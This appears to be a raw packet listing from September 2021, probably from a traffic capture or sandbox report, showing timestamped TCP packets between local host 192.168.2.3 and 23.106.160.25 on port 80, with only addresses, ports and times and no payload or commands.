Sep 2, 2021 05:59:47.113414049 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.113431931 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.113445044 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.113456011 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.113471985 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.113483906 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.113492012 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.113507032 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.113526106 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.113537073 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.113549948 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.113562107 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.113569975 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.113589048 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.113600016 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.113611937 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.113627911 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.113637924 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.113647938 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.113666058 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.113678932 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.113698006 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.113708973 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.113720894 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.113739014 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.113739967 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.113756895 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.113773108 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.113790035 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.113801956 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.113812923 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.113816977 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.113830090 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.113852978 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.113878012 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.113900900 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.113922119 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.113941908 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.113944054 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.113964081 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.113976002 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.113987923 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.114001036 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.114012957 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.114023924 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.114037991 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.114039898 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.114053011 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.114072084 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.114087105 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.114099979 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.114115000 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.114130974 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.114145041 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.114165068 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.114186049 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.114202976 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.114202976 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.114214897 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.114232063 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.114243984 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.114254951 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.114263058 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.114272118 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.114291906 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.114310026 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.114326954 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.114330053 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.114341021 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.114352942 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.114365101 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.114377022 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.114388943 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.114402056 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.114418983 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.114430904 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.114447117 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.114468098 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.114490032 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.114511013 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.114521027 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.114531994 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.114552975 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.114573956 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.114595890 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.114615917 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.114634037 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.114634037 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.114751101 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.286972046 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.287028074 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.287065983 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.287106037 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.287188053 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.287224054 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.287240028 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.287256956 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.287288904 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.287307024 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.287332058 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.287370920 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.287377119 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.287410021 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.287415028 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.287448883 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.287452936 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.287486076 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.287493944 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.287524939 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.287538052 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.287563086 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.287578106 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.287611008 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.287630081 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.287653923 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.287684917 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.287689924 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.287714958 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.287728071 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.287766933 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.287781000 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.287789106 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.287807941 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.287820101 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.287844896 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.287862062 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.287883043 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.287904978 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.287930965 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.287935019 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.287975073 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.288011074 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.288014889 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.288053036 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.288057089 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.288074017 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.288110018 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.288117886 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.288165092 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.288172007 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.288204908 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.288238049 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.288244009 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.288269043 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.288290024 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.288305044 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.288333893 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.288352013 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.288371086 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.288388014 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.288410902 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.288425922 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.288450003 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.288469076 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.288486958 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.288511992 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.288526058 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.288546085 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.288563013 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.288589001 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.288609982 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.288615942 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.288652897 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.288676977 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.288691044 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.288706064 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.288744926 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.288783073 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.288786888 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.288820028 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.288826942 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.288866043 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.288876057 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.288902044 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.288913012 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.288923025 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.288949966 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.288969040 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.288988113 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.288997889 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.289025068 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.289042950 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.289072990 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.289077997 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.289114952 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.289122105 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.289150953 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.289169073 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.289189100 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.289201975 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.289227962 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.289236069 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.289264917 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.289299011 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.289302111 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.289325953 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.289340973 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.289355993 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.289386988 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.289392948 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.289427996 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.289446115 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.289464951 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.289496899 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.289513111 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.289525032 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.289544106 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.289563894 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.289572001 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.289602995 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.289624929 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.289633036 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.289633989 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.289654970 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.289669991 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.289680958 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.289702892 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.289731979 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.289733887 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.289757967 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.289764881 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.289788008 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.289796114 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.289820910 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.289824963 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.289855957 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.289856911 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.289900064 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.289902925 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.289935112 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.289936066 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.289947033 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.289969921 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.289990902 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.290009975 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.290030003 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.290040016 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.290052891 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.290070057 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.290085077 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.290098906 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.290128946 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.290138960 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.290158033 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.290185928 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.290194035 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.290213108 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.290226936 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.290254116 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.290255070 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.290280104 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.290285110 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.290313959 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.290313959 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.290342093 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.290345907 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.290368080 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.290370941 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.290397882 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.290400028 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.290426970 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.290436029 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.290468931 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.290468931 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.290498972 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.290524960 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.290529013 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.290534019 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.290559053 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.290565014 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.290585995 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.290589094 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.290620089 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.290632963 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.290647984 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.290663004 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.290684938 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.290707111 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.290716887 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.290734053 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.290747881 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.290776968 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.290777922 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.290807962 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.290817022 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.290836096 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.290865898 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.290872097 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.290894985 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.290900946 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.290910006 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.290930986 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.290931940 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.290956974 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.290963888 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.290988922 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.290992975 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.291018009 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.291023016 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.291049957 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.291053057 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.291080952 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.291080952 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.291105986 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.291110992 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.291143894 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.291158915 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.291167021 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.291187048 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.291218042 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.291224003 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.291246891 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.291263103 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.291275978 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.291306019 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.291306019 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.291333914 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.291351080 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.291369915 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.291388035 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.291402102 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.291429043 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.291429996 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.291460991 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.291481018 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.291490078 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.291496992 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.291517973 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.291528940 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.291547060 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.291575909 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.291599035 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.291611910 CEST	80	49707	23.106.160.25	192.168.2.3
